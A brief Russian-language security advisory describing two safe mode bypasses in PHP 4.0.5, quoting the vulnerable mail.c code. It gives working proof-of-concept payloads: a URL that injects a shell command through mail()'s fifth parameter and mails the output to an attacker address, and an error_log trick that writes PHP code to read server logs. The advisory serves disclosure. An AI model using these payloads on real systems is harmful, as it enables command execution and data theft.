Найдено 2 проблемы в PHP safe mode.
1. PHP версии 4.0.5 пропускает (break) safe mode
При вызове дополнительного 5-ого параметра в mail() команде нарушается safemode:
Часть кода в mail.c (156-165 строки):
if (extra_cmd != NULL) {
sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, " ");
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path; }
sendmail = popen(sendmail_cmd, "w"); }
}
Атакующий может просто загрузить код evil.php скрипта, содержащего:
<? mail("foo@bar,"foo","bar","",$bar); ?>
простой командой:
http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
2. PHP версии 4.0.5/4.0.4pl1 иногда пропускает (break) safe mode.
PHP safe mode имеет новую особенность запрещать открытие/чтение/запись файлов, которые не принадлежат универсальному идентификатору описанному в скрипте. Если в скрипте содержится следующий код:
<?
$cmd = '<? showsource($foo); ?>';
error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
?>
То тогда доступ к error_log можно получить, используя следующий URL:
http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log.